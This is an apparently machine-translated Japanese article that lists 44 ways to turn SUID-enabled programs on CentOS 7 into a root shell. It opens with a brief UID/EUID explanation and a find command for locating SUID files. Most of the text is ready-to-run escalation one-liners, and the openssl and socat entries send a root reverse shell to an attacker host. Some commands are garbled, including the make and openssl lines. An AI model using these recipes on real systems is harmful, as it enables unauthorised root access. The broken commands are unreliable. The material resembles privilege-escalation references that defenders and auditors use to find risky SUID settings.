セキュリティ調査| CentOS 7システムは、suidを使用してルートシェルを取得する権利を高めます

1.操作の目的とアプリケーションのシナリオ

このドキュメントでは、suid権限を持つプログラムを使用して、CentOS7の権限をエスカレートしてルートシェルを取得する方法を紹介します。

まず、suidの概念を簡単に紹介します。

Linuxプロセスの実行時には、次の3つのUIDがあります。

実UID:プロセスを実行するユーザーのUID。実際のUIDは、ユーザーの識別にのみ使用され、権限の確認には使用されません。

実効UID(EUID):プロセスの実行時に有効になるUID。アクセスターゲットを操作する場合、システムはEUIDに権限があるかどうかを確認します。通常の状況では、実際のUIDはEUIDと同じですが、SUID権限でプログラムを実行すると、プロセスのEUIDはプログラムファイルの所有者のUIDに設定されます。

保存されたUID:特権の高いユーザーが降格した後に予約されるUID。

プロセスのGIDはUIDに似ています。

実行可能プログラム/ bin / catはCentOSシステムに存在し、所有者とグループはrootであり、すべてのユーザーがその実行権限を持っています。さらに、システムファイル/ etc / shadowがあり、所有者とグループもrootであり、アクセス権を提供しません。

user1という名前のシステムに共通のユーザーがいて、UIDとGIDの両方が1000であるとします。このユーザーには/ bin / catに対する実行権限がありますが、/ etc / shadowに対する権限はありません。デフォルトでは、user1は/ bin / catを実行し、システムはcatプロセスを作成します。プロセスの実際のUIDと有効なUIDは同じであり、どちらもプロセスを実行しているuser1ユーザーのUID(1000)です。 catプロセスは/ etc / shadowにアクセスします。プロセスのEUIDにはアクセス権がないため、システムはターゲットへのアクセスを拒否します。

/ bin / catのSUID権限を設定すると、user1によって作成されたcatプロセスの実効UIDは、/ bin / catファイルの所有者のUID値、つまりrootのUID:0に自動的に設定されます。このように、プロセスが/ etc / shadowにアクセスすると、ターゲットファイルは誰にも拒否されますが、プロセスの実効UIDが0であるため、スーパーユーザー権限があり、任意のファイルにアクセスできるため、シャドウファイルの内容を表示できます。

suid権限を持つプログラムの実行後にシェルが作成された場合、シェルプロセスのEUIDは、プログラムファイルの所有者のUIDにもなります。つまり、ルートシェルになります。ルートシェルで実行されているプログラムのEUIDも0であり、スーパーオーソリティがあります。

実行可能ファイルにsuid権限を追加する目的は、操作プロセスを簡素化し、通常のユーザーが高い権限でのみ実行できるタスクを実行できるようにすることです。ただし、SUIDが適切に構成されていない場合、特権のエスカレーションが発生しやすくなります。

2つ、プラットフォームとツールのバージョン

仮想マシン:CentOS Linuxリリース7.8.2003(コア)

3つの操作ステップ

(1)suid / sgid権限設定

chmod u + s prog1 // prog1のsuid権限を設定します
chmod g + s prog2 // prog2のsgid権限を設定します

(2)suid / sgid権限を持つファイルを検索する

find / -perm -u = s -type f 2> / dev / null // suidファイルを検索します
find / -perm -g = s -type f 2> / dev / null // sgidファイルを検索します
ここで、後で説明する特権のエスカレーションに使用されるプログラムファイルはすべて、rootユーザーによるsuid権限で設定されていると想定します。これらのファイルを検索した後、特権のエスカレーションを開始します。

(3)正しいプロモーション

1、 awk

次のコマンドを入力して、権限をエスカレーションします。

awk ‘BEGIN {system(“/bin/bash -p”)}’

特権のエスカレーションが成功し、ルートシェルが取得されました。

2、 bash

次のコマンドを入力して、権限をエスカレーションします。

bash -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

3、 csh

次のコマンドを入力して、権限をエスカレーションします。

csh -b

特権のエスカレーションが成功し、ルートシェルが取得されました。

4、 dmesg

次のコマンドを入力して、権限をエスカレーションします。

dmesg -H

! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

5、 docker

次のコマンドを入力して、権限をエスカレーションします。

docker run -v /:/mnt —rm -it alpine chroot /mnt sh

特権のエスカレーションが成功し、ルートシェルが取得されました。

6、 ed

次のコマンドを入力して、権限をエスカレーションします。

ed

! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

7、 env

次のコマンドを入力して、権限をエスカレーションします。

env /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

8、 expect

次のコマンドを入力して、権限をエスカレーションします。

expect -c ‘spawn /bin/sh -p;interact’

特権のエスカレーションが成功し、ルートシェルが取得されました。

9、 find

次のコマンドを入力して、権限をエスカレーションします。

find . -exec /bin/sh -p ; -quit

特権のエスカレーションが成功し、ルートシェルが取得されました。

10、 flock

次のコマンドを入力して、権限をエスカレーションします。

flock -u / /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

11、 ftp

次のコマンドを入力して、権限をエスカレーションします。

ftp

! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

12、 gdb

次のコマンドを入力して、権限をエスカレーションします。

gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit

特権のエスカレーションが成功し、ルートシェルが取得されました。

13、 gimp

次のコマンドを入力して、権限をエスカレーションします。

gimp -idf —batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。

14、 git

次のコマンドを入力して、権限をエスカレーションします。

git help status //一番下の行に「!/ bin / sh-p」と入力します

Enterキーを押した後、シェルを取得します。

特権のエスカレーションが成功し、ルートシェルが取得されました。

**15、**ionice

次のコマンドを入力して、権限をエスカレーションします。

ionice /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

16、 ip

次のコマンドを入力して、権限をエスカレーションします。

ip netns add foo

ip netns exec foo /bin/sh -p

ip netns delete foo

特権のエスカレーションが成功し、ルートシェルが取得されました。

17、 ksh

次のコマンドを入力して、権限をエスカレーションします。

ksh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

18、 less

次のコマンドを入力して、権限をエスカレーションします。

less / etc / profile //ファイルを読み取り、一番下の行に入力してください!/ bin / sh -p

Enterキーを押した後、新しいシェルに入ります

特権のエスカレーションが成功し、ルートシェルが取得されました。

19、 logsave

次のコマンドを入力して、権限をエスカレーションします。

logsave /dev/null /bin/sh -i -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

20、 make

次のコマンドを入力して、権限をエスカレーションします。

COMMAND=’/bin/sh -p’

make -s —eval=<img src="https://chart.googleapis.com/chart?cht=tx&chl='x%3A%5Cn%5Ct-'%22" alt="'x:\n\t-'" "="">COMMAND”

特権のエスカレーションが成功し、ルートシェルが取得されました。

21、 man

man man //一番下の行に「!/ bin / sh-p」と入力します

Enterキーを押した後、シェルを取得します。

特権のエスカレーションが成功し、ルートシェルが取得されました。

22、 more

次のコマンドを入力して、権限をエスカレーションします。

more /etc/profile

! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

23、 nano

次のコマンドを入力して、権限をエスカレーションします。

nano // nanoプログラムを実行する

^ R // ctrl-rを押す

^ X // ctrl-xを押す

reset; sh -p 1>&0 2>&0 //次のコマンドを入力します

コマンドの内容はnanoシェルに表示できませんが、コマンドの結果は表示されます。

特権のエスカレーションが成功し、ルートシェルが取得されました。

24、 nice

次のコマンドを入力して、権限をエスカレーションします。

nice /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

25、 nmap

次のコマンドを入力して、権限をエスカレーションします。

echo “os.execute(‘/bin/bash -p’)” > /tmp/shell.nse

nmap —script=/tmp/shell.nse 127.0.0.1

特権のエスカレーションが成功し、ルートシェルが取得されました。

26、 openssl

次のコマンドを入力して、権限をエスカレーションします。

まず、攻撃者のマシンで次のコマンドを実行して、接続を受信します。

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345

次に、CentOSサーバーで次のコマンドを実行します。

RHOST=192.168.1.6

RPORT=12345

mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect&1 | openssl s_client -quiet -no_ign_eof -connect $RPORT > /tmp/s; rm /tmp/s

攻撃者はリバウンドシェルを受け取りました:

特権のエスカレーションが成功し、ルートシェルが取得されました。

27、 php

次のコマンドを入力して、権限をエスカレーションします。

CMD=”/bin/sh”

php -r “pcntl_exec(‘/bin/sh’, [‘-p’]);”

特権のエスカレーションが成功し、ルートシェルが取得されました。

28、 python

次のコマンドを入力して、権限をエスカレーションします。

python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。

29、 rpm

次のコマンドを入力して、権限をエスカレーションします。

rpm —eval ‘%{lua:os.execute(“/bin/sh -p”)}’

特権のエスカレーションが成功し、ルートシェルが取得されました。

30、 rsync

次のコマンドを入力して、権限をエスカレーションします。

rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”‘ 127.0.0.1:/dev/null

特権のエスカレーションが成功し、ルートシェルが取得されました。

31、 rvim

次のコマンドを入力して、権限をエスカレーションします。

rvim -c ‘:py import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。

**32、**setarch

次のコマンドを入力して、権限をエスカレーションします。

setarch $(arch) /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

33、 socat

次のコマンドを入力して、権限をエスカレーションします。

攻撃者は最初に自分のコンピューターのTCPポート8888でリッスンを開始します

socat file:’/dev/tty’,raw,echo=0 tcp-listen:8888

サーバーはsocatを介して接続を開始します。

socat tcp-connect:192.168.1.6:8888 exec:’/bin/sh -p’,pty,stderr

攻撃者はシェルを取得します。

特権のエスカレーションが成功し、ルートシェルが取得されました。

34、 ssh

次のコマンドを入力して、権限をエスカレーションします。

ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x

特権のエスカレーションが成功し、ルートシェルが取得されました。

**35、**strace

次のコマンドを入力して、権限をエスカレーションします。

strace -o /dev/null /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

36、 stdbuf

次のコマンドを入力して、権限をエスカレーションします。

stdbuf -i0 /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

37、 taskset

次のコマンドを入力して、権限をエスカレーションします。

taskset 1 /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

38、 tclsh

次のコマンドを入力して、権限をエスカレーションします。

tclsh

exec /bin/sh -p <@stdin >@stdout 2>@stderr

特権のエスカレーションが成功し、ルートシェルが取得されました。

39、 time

次のコマンドを入力して、権限をエスカレーションします。

time /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

40、 timeout

次のコマンドを入力して、権限をエスカレーションします。

timeout 7d /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

41、 vim

次のコマンドを入力して、権限をエスカレーションします。

vim -c ‘:py import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。

42、 watch

次のコマンドを入力して、権限をエスカレーションします。

watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’

実行されたコマンドは表示できませんが、実行結果は表示されます。

特権のエスカレーションが成功し、ルートシェルが取得されました。

43、 xargs

次のコマンドを入力して、権限をエスカレーションします。

xargs -a /dev/null sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。

44、 zsh

次のコマンドを入力して、権限をエスカレーションします。

zsh

特権のエスカレーションが成功し、ルートシェルが取得されました。

4、要約

この文書は研究目的のみであり、違法な目的で使用しないでください。

Recommended Posts

セキュリティ調査| CentOS 7システムは、suidを使用してルートシェルを取得する権利を高めます